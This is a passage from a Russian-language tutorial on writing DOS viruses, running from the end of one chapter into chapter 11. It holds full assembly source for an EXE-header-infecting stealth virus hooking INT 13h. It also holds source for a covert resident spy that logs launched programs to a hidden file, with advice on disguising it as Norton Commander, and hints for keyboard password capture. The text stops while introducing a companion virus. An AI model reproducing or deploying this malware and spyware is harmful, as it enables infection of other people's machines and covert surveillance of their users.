наследуется от V2, лишь корректи- │ ;│ руются кое-какие адреса -- учет отсутствия PSP) │ m1: PUSH AX ; │ PUSH BX ; │ m2: PUSH ES ; │ ;┌ предворительные анализы────────────────────────────────────┐│ ;└────────────────────────────────────────────────────────────┘│ CMP AH,02 ;файл читается? нет - уходим, │ JNE return_int ; возвращая прерыв-е 13 за- │ ; ; конному владельцу │ PUSHF ; │ CALL dword ptr CS:[saved_int13-100h] ;чтение под контролем │ ; ; │ CMP word ptr ES:[BX],5A4Dh ;ЕХЕ-файл? │ JE take_care_of ; да -- познакомимся поближе │ ; ; нет - проверим нет ли в чи-│ ; ; таемом секторе самогО вируса ; ; │ CMP word ptr ES:[BX+m1-100h],5350h; читается сектор(а), содер-│ JNE no_virus ; ├── жащий(ие) сам вирус? │ CMP word ptr ES:[BX+m2-100h],8006h; 5350h,8006h - его сигнатура JNE no_virus ;─┘ нет -- выходим из прерыв-я│ MOV word ptr ES:[BX],5A4Dh ; │ ; ; │ ;┌──СТЕЛС-маскировка──────────────────────────────────────────┐│ ;└────────────────────────────────────────────────────────────┘│ PUSH DI ; │ PUSH CX ; │ MOV CX,200h-40h ; │ MOV DI,40h ; │ mask_another: MOV byte ptr ES:[BX+DI],00 ; │ INC DI ; │ LOOP mask_another ; │ POP CX ; │ POP DI ; │ ; ; │ JMP Short EXE_simul ;симуляция ЕХЕ-файла │ ; ; │ take_care_of: ;┌──────дополнительная проверка пригодности ЕХЕ-файла:────────┐│ ;└────────────────────────────────────────────────────────────┘│ CMP word ptr ES:[BX+8],20h ;достаточно ли велик заголо- │ JB bad_EXE ; вок? (годится не менее 20h)│ CMP word ptr ES:[BX+6],08h ;достаточно ли мала relocation│ JA bad_EXE ; ? (годится не более 8h) │ CMP word ptr ES:[BX+4],77h ;достаточно ли мал ЕХЕ-файл? │ JA bad_EXE ; (годится не более 77h*512) │ ; ; │ ;┌─────репродуктивная часть; (жертва найдена !)───────────────┐│ ;└────────────────────────────────────────────────────────────┘│ landing_craft:PUSH DI ;в тело вируса копируются на- │ PUSH SI ; стройки ЕХЕ-заголовка │ PUSH CX ; (2 параграфа) │ MOV CX,3Eh ; │ MOV DI,OFFSET header_info -100h ; если здесь применить обычно│ MOV SI,BX ; столь экономичную конструк-│ send_another: MOV AL,ES:[SI+2] ; цию REP MOVS, то мороки бу-│ MOV byte ptr CS:[DI],AL ; дет больше │ INC DI ; │ INC SI ; │ LOOP send_another ; │ POP CX ; │ POP SI ; │ POP DI ; │ ; │ MOV AX,0301h ;производится высадка в зара- │ MOV BX,OFFSET head-100h ; жаемый файл │ PUSH CS ; │ POP ES ; │ ; ; │ return_int: PUSHF ; │ CALL dword ptr CS:[saved_int13-100h] ; │ ; ; │ ;┌эти метки -- чисто для мнемоники; на каждую управление пере-┐│ ;│дается ПОСЛЕ определенного этапа выполнения ││ ;└────────────────────────────────────────────────────────────┘│ no_virus: ; вирус не нашел ни себя, ни -- пригодного для зараж-я ЕХЕ-файла EXE_simul: ; вирус нашел себя и симулирует ЕХЕ-файл │ bad_EXE: ; вирус разочаровался в ЕХЕ-файле и не стал с ним возиться │ POP ES ; │ POP BX ; │ POP AX ; │ IRET ; │ ;│ ; │ ;└─────────────────────────────────────────────────────────────┘ rezident_end: ; starter_end: ; save_arrea: ; ; MainProcedure ENDP ; CodeSegment ENDS END Start гл.9 СОЗДАНИЕ "ДРАКОНА", ШПИОНЯЩЕГО ЗА ЗАПУСКОМ ПРОГРАММ (совсем не сложно, -- в качестве отдыха) ════════════════════════════════════════════════════════════════════════════ Предположим, вас интересует, какие программы запускались на Вашем компь- ютере в Ваше отсутствие. Иногда это может помочь локализовать файл, заражен- ный каким-либо опасным вирусом. При этом пользователю, запускающему программы иногда совсем не обязательно знать о наличии супервайзера. Для решения этой задачи необходимо умение работать с файлами - открыть файл, записать туда что-то, закрыть файл и знание структуры вызова функции DOS 4Bh (EXEC), ибо именно ее вызов должен иницииравать запись в файл имени запускаемой программы. Но ведь все это мы уже умеем. Задача до отвращения проста, -- однако и здесь мы можем познакомиться кое-с-чем новым, а именно - с функцей DOS 3Dh "открытие файлов в режиме чтения и записи" и с функцией DOS 42h "работа по перемещению файлового указателя". Вот алгоритм решения. Вообще-то рисовать блок-схему иногда полезно. Если задача сложна, -- это серьезное облегчение жизни. Итак, вот блок-схема: ┌──────────────────────┐ ┌───────────────────────┤ JMP to_initialization│ │ └──────────────────────┘ │ │ _/РЕЗИДЕНТНАЯ ЧАТСТЬ\_ │ INT 21h ┌─────────────────────────────────────────┐ │ │ │ а функция ли это N 4Bh? если нет -- │ │ └─────>│ сваливаем на IRET───────────────────────┐ │ └──────────────────┬──────────────────────┘ │ │ ┌──────────────────┴──────────────────────┐ │ │ │перетащить имя запускаемой программы │ │ │ │в буфер, с одновременной зашифровкой его │ │ │ └──────────────────┬──────────────────────┘ │ │ ┌──────────────────┴──────────────────────┐ │ │ │попытаться открыть на чтение/запись файл │ │ │ │для записи разведданных │ │ │ └──────────────────┬──────────────────────┘ │ │ ┌──────────────────┴──────────────────────┐ │ │ │если ошибка открытия файла (он не сущест-│ │ │ │вует), -- создать такой файл │ │ │ └──────────────────┬──────────────────────┘ │ │ ┌──────────────────┴──────────────────────┐ │ │ │переместить указатель к концу файла │ │ │ └──────────────────┬──────────────────────┘ │ │ ┌──────────────────┴──────────────────────┐ │ │ │записать в файл зашифрованное имя запуска- │ │ │емой программы из буфера │ │ │ └──────────────────┬──────────────────────┘ │ │ ┌──────────────────┴──────────────────────┐ │ │ │ закрыть файл │ │ │ └────────────┬──────────────┬─────────────┘ │ │ │ IRET │<───────────────┘ │ └──────────────┘ │ │ ┌─────────────────────────────────────────┐ └──────────────>│сажаем резидент в МСВ-блок (работает 1раз) └─────────────────────────────────────────┘ Коментарий: Блок-схема крайне проста. Чтобы сохранить секретность (если кто-то обна- ружит файл данных), - мы шифруем имена запускаемых файлов. В нашем примере для наглядности это делается архипримитивно: XOR data,DBh, Вы можете приду- мать собственный алгоритм. После помещения зашифрованного имени в буфер мы пытаемся открыть файл, в который сбрасываем разведданные. Делается это при помощи еще доселе неизвестной нам функции 3Dh. Мы пользовались ранее функцией 3Ch - создание файла. Однако в данном случае она не годится, т.к. если попы- таться открыть при помощи нее уже существующий файл, его содержимое будет уничтожено. Вот структура вызова функции 3Dh (по данным thelp): ┌─────────╥───────╥───────────────────────────────────────── │ Вход ║ AH ║ 3dH (Открыть описатель файла) └─────────╢ DS:DX ║ адрес строки ASCIIZ с именем файла ║ AL ║ Режим открытия ┌─────────╫───────╫───────────────────────────────────────── │ Выход ║ AX ║ код ошибки если CF установлен └─────────╢ ║ описатель файла если нет ошибки ╙───────╨───────────────────────────────────────── Описание: DS:DX указывает на строку ASCIIZ в формате: "d:\путь\имяфайла",0. Если диск и/или путь опущены, они принимаются по умолчанию. -> файл должен существовать. См. функцию 3cH (Создать Файл). -> файл открывается в выбранном Режиме Доступа / Режиме Открытия Для совместимости с DOS 2.x и избежания сетевых режимов, задавайте: AL = 0 чтобы открыть для чтения AL = 1 чтобы открыть для записи AL = 2 чтобы открыть для чтения и записи Если же в момент вызова этой функции файла данных не существовало, то на выходе из прерывания будет установлен флаг CF (ошибка), а в AX будет код ошибки (в данном случае = 3 -- файл не найден). Наш резидент попытается открыть уже существующий файл данных функцией 3Dh в режиме чтение/запись и, если выяснится, что такого файла нет, -- соз- даст его при помощи функции 3Ch. А что делать, если файл уже существует и успешно открылся на чтение/за- пись? Сразу же начать в него записывать? НЕТ! Сначала следует переместить файловый указатель к концу файла, иначе -- мы затрем нашей записью более ран- ние данные. Данные пишутся в файл в то место, на которое указивает файловый указатель. После открытия файла он устанавливается на его начало. Файловый указатель можно перемещать по файлу при помощи функции 42h прерывания 21h. Вот она какая: ┌─────────╥───────╥──────────────────────────────────────────────────── │ Вход ║ AH ║ 42H (Установить указатель файла -- LSEEK) └─────────╢ BX ║ описатель файла ║ CX:DX ║ на сколько передвинуть указатель: (CX * 65536) + DX ║ AL ║ 0 переместить к началу файла + CX:DX ║ ║ 1 переместить к текущей позиции + CX:DX ║ ║ 2 переместить к концу файла + CX:DX ┌─────────╫───────╫──────────────────────────────────────────────────── │ Выход ║ AX ║ код ошибки если CF установлен └─────────╢ DX:AX ║ новая позиция указателя файла (если нет ошибки) ╙───────╨──────────────────────────────────────────────────── Описание: Перемещает логический указатель чтения/записи к нужному адресу. Очередная операция чтения или записи начнется с этого адреса. Замечение: Вызов с AL=2, CX=0, DX=0 возвращает длину файла в DX:AX. DX здесь старшее значащее слово: действительная длина (DX * 65536) + AX. Ну вот в принципе и все. Ниже приводим саму программу: ┌──────────────────────────────────────────────────────────┐ │ пример 16 │: └──────────────────────────────────────────────────────────┘ TITLE Это - COM. программа 16 - "дракон", шпионящий за запуском программ ASSUME CS:CodeSegment ;───────────────────────────────────────────────────────────────────────── CodeSegment SEGMENT PARA ORG(100h) Start: MainProcedure PROC NEAR ; ; my_head: JMP initial ;переход на инициализир. часть ; ; f_number: DW 0 ;для хранения описателя файла f_name: DB 'C:\DOS\CHKSUM',0 ;имя файла для сброса разведданных ; ; (его можно зашифровать и расшифро- ; ; вывать лишь при посадке резидента) ; ; ;хранилище для адреса стандартного saved_int21: DD 0 ; обработчика прерывания 21 ; ; (2 слова) ; int21_treater:CMP AH,4Bh JE begin JMP retro ;возврат управления JMP far если begin: PUSH AX ; это не EXEC PUSH BX PUSH CX PUSH DX PUSH DS PUSH ES PUSH DI PUSH SI ;─────────────пересылка имени запускаемого файла в буфер──────┐ MOV DI,DX ; │ MOV SI,OFFSET buffer - 100h ; │ resend_again: MOV AL,byte ptr DS:[DI] ; │ XOR AL,0DBh ;зашифровка имени │ MOV byte ptr CS:[SI],AL ;(суперпримитивно!)│ INC DI ; │ INC SI ; │ CMP AL,0DBh ;контроль 0 - конца│ JNE resend_again ; ASCIIZ строки, │ ; ; (из-за XOR AL,DBh│ XOR DI,DI ; 0 превращ. в DBh)│ slash: DEC SI ; │ INC DI ; │ CMP byte ptr CS:[SI],87h ;поиск первого "\" │ JNE slash ; перед 0; (5Ch │ PUSH SI ;сохраним длину и координату ; из-за XOR прев- │ PUSH DI ; добытого имени в стеке ; ращ. в 87h) │ ;─────────────────────────────────────────────────────────────┘ ;──────────открыть файл для чтения/записи─────────────────────┐ PUSH CS ;DS:[DX] имя файла │ POP DS ; данных │ MOV DX,OFFSET f_name - 100h ; │ MOV CX,0 ;атрибут файла │ MOV AH,3Dh ;открыть в режиме │ MOV AL,2 ; пиши-читай │ CALL call_int21 ; │ MOV word ptr CS:[f_number-100h],AX ; │ ; ; │ JNC file_exist ;контроль ошибок --│ CMP AL,3 ; если файла не │ JA errors ; было,его создадут ;─────────────────────────────────────────────────────────────┘ ;───────────создать файл данных───────────────────────────────┐ MOV DX,OFFSET f_name - 100h ; │ MOV CX,0 ; │ MOV AH,3Ch ; │ CALL call_int21 ; │ MOV word ptr CS:[f_number-100h],AX ; │ ;─────────────────────────────────────────────────────────────┘ file_exist: ;────────────установка LSEEK на конец файла данных────────────┐ XOR CX,CX ; │ XOR DX,DX ; │ MOV BX,word ptr CS:[f_number-100h] ; │ MOV AL,2 ; │ MOV AH,42h ; │ CALL call_int21 ; │ ;─────────────────────────────────────────────────────────────┘ ;────────────запись данных ───────────────────────────────────┐ MOV BX,word ptr CS:[f_number-100h] ; DS:[DX] буфер │ POP CX ;извлечем координату POP DX ; и длину имени │ MOV AH,40h ; из стека │ CALL call_int21 ; │ ;─────────────────────────────────────────────────────────────┘ ;─────────закрыть файл────────────────────────────────────────┐ MOV BX,word ptr CS:[f_number-100h] ; │ MOV AH,3Eh ; │ CALL call_int21 ; │ ;─────────────────────────────────────────────────────────────┘ errors: POP SI POP DI POP ES POP DS POP DX POP CX POP BX POP AX retro: JMP dword ptr CS:[saved_int21-100h] ; ;────вызов стандартного обработчика int 21h (процедура)───────┐ call_int21: PUSHF │ CALL dword ptr CS:[saved_int21-100h] │ RET │ ;─────────────────────────────────────────────────────────────┘ ; ; ; initial: ;──────────────создаем TSR - копию────────────────────────────┐ MOV AX,DS:[02] ;берем вершину свободной памяти │ ; ; (в параграфах) │ SUB AX,40h ;уменьшаем ее на 40h (в парагр.) │ ; ; │ PUSH CS ; │ POP DS ; │ MOV SI,OFFSET my_head ;копируем из источника DS:head │ MOV ES,AX ;копируем в приемник ES:00; в ES │ XOR DI,DI ; - новая вершина своб. памяти │ MOV CX,my_end - my_head ; │ CLD ; │ REPE MOVSB ; │ ; ; │ MOV BX,DS ; │ DEC BX ; │ MOV DS,BX ;уменьшаем размер МСВ-блока │ SUB word ptr DS:[03h],40h ;уменьшаем вершину свободной│ SUB word ptr DS:[12h],40h ; памяти │ ;─────────────────────────────────────────────────────────────┘ ;─────────────перехват вектора 21h────────────────────────────┐ XOR BX,BX ; сохраняем старый │ MOV DS,BX ; вектор │ MOV AX,DS:[21h*4+0] ;48Bh ; │ MOV word ptr ES:[saved_int21-100h+0],AX ; │ MOV AX,DS:[21h*4+2] ;5BDh ; │ MOV word ptr ES:[saved_int21-100h+2],AX ; │ ; ; │ CLI ; замен. в таблице │ MOV word ptr DS:[21h*4+0],OFFSET int21_treater - 100h ;─>OFST│ MOV word ptr DS:[21h*4+2],ES ;──────>SEGMENT │ STI ; │ ;─────────────────────────────────────────────────────────────┘ ;──────────выход в DOS ───────────────────────────────────────┐ to_dos: INT 20h ; │ ;─────────────────────────────────────────────────────────────┘ buffer DB 60h DUP(0) my_end: ; ; MainProcedure ENDP ; CodeSegment ENDS END Start Чтобы Ваш шпионаж было не так легко разоблачить, Вы можете запускать данного "дракона" не из autoexec-а. Вы можете дополнить процедуру посадки ре- зидента блоком запуска основной оболочки (как правило - norton comander), пе- реименованной из nc.exe в что-либо другое. Имя же вашего "дракона" пусть бу- дет nc.exe ( СОМ-файл можно назвать расширением ЕХЕ-). Еще о всяких разных "драконах". Несколько примеров (вернее сказать -- намеков) Вы можете найти в /9/. Например перехват вводимых с клавиатуры паро- лей и конфиденциальных текстов, сохранение в специальных файлах копий тексто- вого экрана и т.д. При "подсматривании" какого-либо пароля достаточно создать резидент, перехватывающий прерывания 9 (ввод с клавиатуры) и 21h - функция 4Bh (EXEC). Резидент активируется как только будет запущена программа запроса пароля (он узнает об этом либо по ее имени, передаваемом в EXEC, либо - ана- лизируя ее код в соответствующем файле). Как только резидент узнал, что запу- щена утилита, запрашивающая пароль, он начинает отслеживать коды нажимаемых клавиш и сбрасывать их в специальный файл, который Вы потом найдете. Вы впол- не уже можете написать такую программу; - если все вышесказанное было Вам по- нятно, -- то это не составит большого труда. Можно так же перехватывать в специальный скрытый файл информацию, выда- ваемую на принтер. Иногда при работе с нелицензионными копиями различных программ (бухгал- терия и т.п.) возникает необходимость обрубить при печати документов выдачу на принтер торговой марки прежнего владельца и заменить ее своей собственной. В этом случае можно посадить резидент на прерывание BIOS 17h и анализировать поток информации, поступающей на принтер на наличие определенной подстроки. гл.10 СОЗДАНИЕ ВИРУСА, ИСПОЛНЯЮЩЕГО ФУНКЦИИ ЗАГРУЗЧИКА ЕХЕ-ФАЙЛОВ (посвящается искуству создателя BootExe-451(452)) ════════════════════════════════════════════════════════════════════════════ СРАЗУ ВОПРОС -- а стоит ли вообще возиться с ЕХЕ-файлами, изучать их структуру и функционирование; -- пригодится ли это кому-либо для чего-либо в повседневных делах? Думаем, что да. Может пригодиться. Иногда возникает нужда в модификации уже имеющегося у Вас ЕХЕ-файла (перекомпилировать его нельзя, т.к. у Вас нет исходника). Такая проблема возникает при вакцинации файлов, дополнении их процедурами защиты от копирования и т.д. Мы начали изучение вирусов с конструкций, прячущихся в заголовках ЕХЕ-файлов. Руководствовались при этом принципом "от простого к сложному", т.е. начали так, чтобы хоть как-то начать и не отпугнуть Вас лавиной новой информации. В реальной жизни подобных вирусов не так уж много. В прежние вре- мена было навалом ЕХЕ-файлов с практически пустым заголовком. Вирусы, подоб- ные выше описанным, имели превосходную среду для распространения. А сейчас таких файлов стало намного меньше. Причина тому - обработка ЕХЕ-файлов специ- альными упаковщиками; а также -- наличие оптимизированных компиляторов Паска- ля, Си++ и пр. Поэтому вирусы, заражающие ЕХЕ-файл путем записи в заголовок и при этом не затирающие собою его данные, в настоящее время имеют не так много шансов, как прежде. И, тем не менее, написание такого вируса может дать бога- тую пищу для ума. Последним мы рассмотрели вирус, который в момент посадки своей резиден- тной копии был вынужден запустить зараженный файл как дочерний процесс. Весь- ма много затрачено труда и места для процедуры выполняющейся лишь один раз (EXEC - в момент посадки резидента). А может ли вирус запустить зараженный ЕХЕ-файл не пользуясь EXEC? Да. Если возьмет на себя функции DOS-овского заг- рузчика исполняемых файлов. Он в этом случае должен выполнить всю работу заг- рузчика. Что это за работа? Вот она: ┌────>1. провести корректировку значений настраиваемых элементов (разъ- │ яснение см. ниже). ├────>2. инициализировать значения регистров SS и SP (загрузить в них │ адрес сегмента стека и его вершины). Адрес сегмента стека = │ = сегментный адрес загрузки ЕХЕ-файла в память (точка, кото- │ рой заканчивается PSP) + смещение сегмента стека относительно │ начала файла. ├────>3. совершенно аналогично инициализировать значения регистров CS │ и IP и тем самым передать управление по адресу первой испол- │ няемой команды в ЕХЕ-файле. │ │ ┌ данные для этих стадий ┐ │ │(смещения сегментов в файле и │ │ │адреса настраиваем. элементов)│ └──────────────────┤берутся из заголовка ЕХЕ-файла│ └ см его карту в гл. 5 (рис.7) ┘ Поскольку вирус заражая файл, превращает его из ЕХЕ- в СОМ-, нужно добавить еще одну стадию (вообще-то она должна предшествовать пункту 3): 4. перемещение образа файла (кода файла, начинающегося сразу после заголовка) к концу PSP на то место, где сразу после загрузки файла с диска находился экс-заголовок ЕХЕ-файла с содержащимся в нем кодом вируса (если бы файл был полноценным ЕХЕ-, то его заголовок изначально не был бы загружен в память). Если смысл пунктов 2,3,4 достаточно прозрачен, то пункт "корректировка значений настраиваемых элементов" - это что-то новое. Зачем вообще это нужно? Что такое настраиваемый элемент? Дело в том, что ЕХЕ-файл состоит из нескольких сегментов. Различные объ- екты, располагающиеся в каком-либо из сегментов (процедуры, массивы и т.д.) могут адресоваться в зависимости от места загрузки ЕХЕ-файла в память. Ключ каждой такой адресации и есть настраиваемый элемент. Наперед не может быть известно, с какого адреса будет загружена та или иная программа, и поэтому загрузчик должен в зависимости от каждого конкретного случая определенным об- разом корректировать настраиваемые элементы. В зависимости от адреса загрузки программы (адрес места, где кончается PSP). Адреса настраиваемых элементов располагаются в специальной области заго- ловка ЕХЕ-файла, называемой relocation table (таблица перемещения). Каждый такой сегментно-оффсетный адрес (2 слова) указывает на ключ (на- верное адрес) внутри ЕХЕ-файла, после считывания файла с диска нуждающийся в корректировке. КОРРЕКТИРОВКА ЗАКЛЮЧАЕТСЯ В СЛОЖЕНИИ УПОМЯНУТОГО КЛЮЧА, НАХО- ДЯЩЕГОСЯ ПО АДРЕСУ ИЗ RELOCATION TABLE С АДРЕСОМ ЗАГРУЗКИ ЕХЕ-ФАЙЛА В ПАМЯТЬ (сегментным адресом места, где кончается PSP). Вот и все функции загрузчика по обработке ЕХЕ-файла. Ни много, ни мало. Сочиним же блок/схему вируса, берущего на себя сие тяжкое бремя: ┌────────────────────────────────────┐ ┌───────────────────┐ │создание своей резидентной копии и │ │ Ну а процедура об-│ │передача управления на свое продол- │ │ работки прерывания│ │жение уже в этом резиденте │ │ 13h практически │ └────────────────┬───────────────────┘ │ такая же, как и в│ ┌────────────────┴───────────────────┐ │ предыдущем примере│ │корректировка настраиваемых элементов │ │ └────────────────┬───────────────────┘ │ │ ┌────────────────┴───────────────────┐ │ . . . . │ │ настройка SS и SP │ │ │ └────────────────┬───────────────────┘ │ │ ┌────────────────┴───────────────────┐ │ │ │ смещение образа ЕХЕ-файла на место │ │ │ │ начала его экс-заголовка │ │ │ └────────────────┬───────────────────┘ │ │ ┌────────────────┴───────────────────┐ │ │ │ настройка CS и IP, т.е. передача уп- │ │ │ равления в ЕХЕ-файл │ │ │ └────────────────────────────────────┘ └───────────────────┘ Вот и сама программа, реализующая представленную блок/схему: ┌──────────────────────────────────────────────────────────┐ │ пример 17 │: └──────────────────────────────────────────────────────────┘ TITLE Это - COM. программа N17 -- вирус, выполняющий функции загрузчика ASSUME CS:CodeSegment ;───────────────────────────────────────────────────────────────────────── CodeSegment SEGMENT PARA ORG(100h) Start: MainProcedure PROC NEAR ; ; head: JMP Short initial ;прыжок через данные ; ;┌───────────────────────────── данные ─────────────────┐ header_info DB 62 DUP(0) ;хранилище настроек │ ; ; │ ; ;данные (хранилище для │ saved_int13: DD 0 ; адреса стандартного обра- │ ;│ ; ботчика прерывания 13 │ ;└────────────────────── -- 2 слова) ───────────────────┘ ; ; ;┌──посадка резидента в MCB-блок────────────────────────┐ ;└──────────────────────────────────────────────────────┘ initial: MOV AX,CS:[02] ;берем вершину свободной памяти ; ; (в параграфах) ; SUB AX,20h ;уменьшаем ее на 20h (в парагр.) ; MOV SI,OFFSET head ;копируем из источника DS:head MOV ES,AX ;копируем в приемник ES:00; в ES XOR DI,DI ; - новая вершина своб. памяти MOV CX,rezident_end - head CLD REPE MOVSB ; MOV BX,DS ;уменьшаем размер МСВ-блока DEC BX ;уменьшаем вершину свободной MOV DS,BX ; памяти SUB word ptr DS:[03h],20h SUB word ptr DS:[12h],20h ; XOR BX,BX ; сохраняем старый вектор MOV DS,BX ; 13h в переслан. копии MOV AX,DS:[13h*4+0] MOV word ptr ES:[saved_int13-100h+0],AX MOV AX,DS:[13h*4+2] MOV word ptr ES:[saved_int13-100h+2],AX ; CLI ;кладем в таблицу векторов наш адр. MOV word ptr DS:[13h*4+0],OFFSET int13_treater-100h ;─>OFFSET MOV word ptr DS:[13h*4+2],ES ;──────>SEGMENT STI ; PUSH CS ; DS = CS (потом пригодится) POP DS ; PUSH ES ; переходим на продолжение (метка MOV AX,resended-head ; resended), но уже в резидент- PUSH AX ; ной копии RETF ; ; resended: ;┌──корректировка настраиваемых элементов──────────────┐ ;└─────────────────────────────────────────────────────┘ MOV DX,DS ADD DX,10h ; DX = сегментн. адрес конца PSP MOV DI,DS:[118h] ; DI = адрес relocation table ADD DI,100h ; <─────учет PSP в этом адресе MOV CX,DS:[106h] ; CX = колич-во настраив. эл-тов ; ; (позиция 06 в заголовке) ; CMP CX,0 ; а вдруг ничего и не нужно JE no_relocation ; настраивать? ; ; again: LES SI,DS:[DI] ; SI=DS:[DI] ES=DS:[DI+2] ADD DI,0004 ; переходим к следу.щему эл-ту MOV BP,ES ; ─┐ └────(на потом) ADD BP,DX ; ├ES=ES+PSP+20h (учет PSP и за- ADD BP,20h ; │ │ головка ЕХЕ-) MOV ES,BP ; ─┘ └───сегм. адрес ADD ES:[SI],DX ; настройка эл-та LOOP again ; ; no_relocation:;┌──установка стека ЕХЕ-файла──────────────────────────┐ ;└─────────────────────────────────────────────────────┘ MOV BX,DX ; сохраним адрес конца PSP ADD DX,word ptr DS:[10Eh] ; DX = SS MOV CX,DS:[110h] ; CX = SP ; CLI MOV SS,DX MOV SP,CX STI ; ;┌──заготовка значений CS и IP─────────────────────────┐ ;└─────────────────────────────────────────────────────┘ ADD BX,DS:[116h] ; CS MOV AX,DS:[114h] ; IP ; ;┌─смещени файла на место заголовка ───────────────────┐ ;└─────────────────────────────────────────────────────┘ MOV SI,300h MOV DI,100h MOV CX,0EE00h ; по максимуму CLD PUSH DS POP ES REPE MOVSB ; ;┌──корректировка значений CS и IP (старт ЕХЕ-файла)───┐ ;└─────────────────────────────────────────────────────┘ PUSH BX PUSH AX RETF ; ; ;┌──────────наша п/п-а обработки прерывания 13─────────────────┐ int13_treater:;│ (целиком наследуется от V2, лишь корректи- │ ;│ руются кое-какие адреса -- учет отсутствия PSP) │ m1: PUSH AX ;метки m1 и m2 нужны для │ PUSH BX ; выборки сигнатуры для ана- │ m2: PUSH ES ; лиза │ ;┌ предворительные анализы────────────────────────────────────┐│ ;└────────────────────────────────────────────────────────────┘│ CMP AH,02 ;файл читается? нет - уходим, │ JNE return_int ; возвращая прерыв-е 13 за- │ ; ; конному владельцу │ PUSHF │ CALL dword ptr CS:[saved_int13-100h] ;чтение под контролем │ ; │ CMP word ptr ES:[BX],5A4Dh ;ЕХЕ-файл? │ JE take_care_of ; да -- познакомимся поближе │ ; ; нет - проверим нет ли в чи-│ ; ; таемом секторе самогО вируса ; │ CMP word ptr ES:[BX+m1-100h],5350h; читается сектор(а), содер-│ JNE no_virus ; ├── жащий(ие) сам вирус? │ CMP word ptr ES:[BX+m2-100h],8006h; 5350h,8006h - его сигнатура JNE no_virus ;─┘ нет -- выходим из прерыв-я│ MOV word ptr ES:[BX],5A4Dh ; │ ; │ ;┌──СТЕЛС-маскировка──────────────────────────────────────────┐│ ;└────────────────────────────────────────────────────────────┘│ PUSH DI │ PUSH CX │ MOV CX,200h-40h │ MOV DI,40h │ mask_another: MOV byte ptr ES:[BX+DI],00 │ INC DI │ LOOP mask_another │ POP CX │ POP DI │ ; │ JMP Short EXE_simul ;симуляция ЕХЕ-файла │ ; │ take_care_of: ;┌──────дополнительная проверка пригодности ЕХЕ-файла:────────┐│ ;└────────────────────────────────────────────────────────────┘│ CMP word ptr ES:[BX+8],20h ;достаточно ли велик заголо- │ JB bad_EXE ; вок? (годится не менее 20h)│ CMP word ptr ES:[BX+6],08h ;достаточно ли мала relocation│ JA bad_EXE ; ? (годится не более 8h) │ CMP word ptr ES:[BX+4],77h ;достаточно ли мал ЕХЕ-файл? │ JA bad_EXE ; (годится не более 77h*512) │ ; │ ;┌─────репродуктивная часть; (жертва найдена !)───────────────┐│ ;└────────────────────────────────────────────────────────────┘│ landing_craft:PUSH DI ;в тело вируса копируются на- │ PUSH SI ; стройки ЕХЕ-заголовка │ PUSH CX ; (4 параграфа) │ MOV CX,3Eh ; │ MOV DI,OFFSET header_info - 100h; если здесь применить обычно│ MOV SI,BX ; столь экономичную конструк-│ send_another: MOV AL,ES:[SI+2] ; цию REP MOVS, то мороки бу-│ MOV byte ptr CS:[DI],AL ; дет пожалуй даже больше │ INC DI ; │ INC SI ; │ LOOP send_another ; │ POP CX ; │ POP SI ; │ POP DI ; │ ; │ MOV AX,0301h ;производится высадка в зара- │ MOV BX,OFFSET head - 100h ; жаемый файл │ PUSH CS ; │ POP ES ; │ ; │ return_int: PUSHF │ CALL dword ptr CS:[saved_int13-100h] │ ; │ ;┌эти метки -- чисто для мнемоники; на каждую управление пере-┐│ ;│дается ПОСЛЕ определенного этапа выполнения ││ ;└────────────────────────────────────────────────────────────┘│ no_virus: ; вирус не нашел ни себя, ни -- пригодного для зараж-я ЕХЕ-файла EXE_simul: ; вирус нашел себя и симулирует ЕХЕ-файл │ bad_EXE: ; вирус разочаровался в ЕХЕ-файле и не стал с ним возиться │ POP ES │ POP BX │ POP AX │ IRET │ ;│ │ ;└─────────────────────────────────────────────────────────────┘ rezident_end: ; starter_end: ; save_arrea: ; ; MainProcedure ENDP ; CodeSegment ENDS END Start Чтобы имплантировать вирус в первый файл-жертву, Вы опять должны вос- пользоваться программой из примера 14. Процедура обработки прерывания 13h в представленном вирусе практически такая же, как и в предыдущем примере. Этот пример мы посвещаем искуству создателя вируса BootExe-451(452), ибо алгоритм настройки элементов реализуется здесь почти так же как и у него (экономичнее вряд-ли возможно); да плюс ко всему -- вирус BootExe-451(452) умеет еще и заражать BootRecord жесткого диска и дискет -- потрясающая удель- ная мощность! Ну все. Более мы не будем рассматривать столь экзотичный ныне способ за- ражения ЕХЕ-файлов, как внедрение в их заголовок. В следующих главах будут показаны наиболее типичные способы заражения. гл.11 СОЗДАНИЕ ПРИМИТИВНЕЙШЕГО ВИРУСА-СПУТНИКА ДЛЯ ЕХЕ-ФАЙЛОВ (чисто для закрепления материала; здесь почти нет ничего нового) ════════════════════════════════════════════════════════════════════════════ Очень короткая глава. Все очень-очень легко. Предположим у Вас существует два файла с одинаковым именем, но разными расширениями ЕХЕ- и СОМ-. Например tetris.com и tetris.exe. И Вы набрали в командной строке просто tetris -- без расширения; -- какой из файлов будет запущен? Оказываемся tetris.com. Благодаря этой особенности возможно создание особого класса вирусов, -- вирусов-спутников. Вирусы-спутники -- самые безвредные вирусы, ибо они СОВЕР- ШЕННО не изменяют заражаемый файл. Все очень просто: обнаружив ЕХЕ-файл, ви- рус создает одноименный файл с расширением .СОМ и записывает туда свой код. В следующий раз если "зараженный" ЕХЕ-файл будет запущен без указания расшире- ния, то на самом деле запустится вирус. Вирус, сделав то, что ему предписано, в свою очередь, запустит ЕХЕ-файл. Вот какой может быть блок/схема такого вируса: ┌──────────────────────┐ ┌───────────────────────┤ JMP to_initialization│ │ └──────────────────────┘ │ │ _/РЕЗИДЕНТНАЯ ЧАТСТЬ\_ │ INT 21h ┌─────────────────────────────────────────┐ │ │ │ а функция ли это N 4Bh? если нет -- │ │ └─────>│ сваливаем на IRET───────────────────────┐ │ └──────────────────┬──────────────────────┘ │ │ ┌──────────────────┴──────────────────────┐ │ │ │перетащить имя запускаемой программы │ │ │ │в буфер │ │ │ └──────────────────┬──────────────────────┘ │ │ ┌──────────────────┴──────────────────────┐ │ │ │поиск такого же файла но с расшир-ем .СОМ│ │ │ │(если он существует -- прекращаем работу────> │ └──────────────────┬──────────────────────┘ │ │ ┌──────────────────┴──────────────────────┐ │ │ │если файла нет - создать его и записать в│ │ │ │него свой код │ │ │ └──────────────────┬──────────────────────┘ │ │ ┌──────────────────┴──────────────────────┐ │ │ │ закрыть файл │ │ │ └────────────┬──────────────┬─────────────┘ │ │ │ IRET │<───────────────┘ │ └──────────────┘ │ │ ┌─────────────────────────────────────────┐ └──────────────>│сажаем резидент в МСВ-блок │ └──────────────────┬──────────────────────┘ ┌──────────────────┴──────────────────────┐ │запускаем "зараженный" ЕХЕ-файл 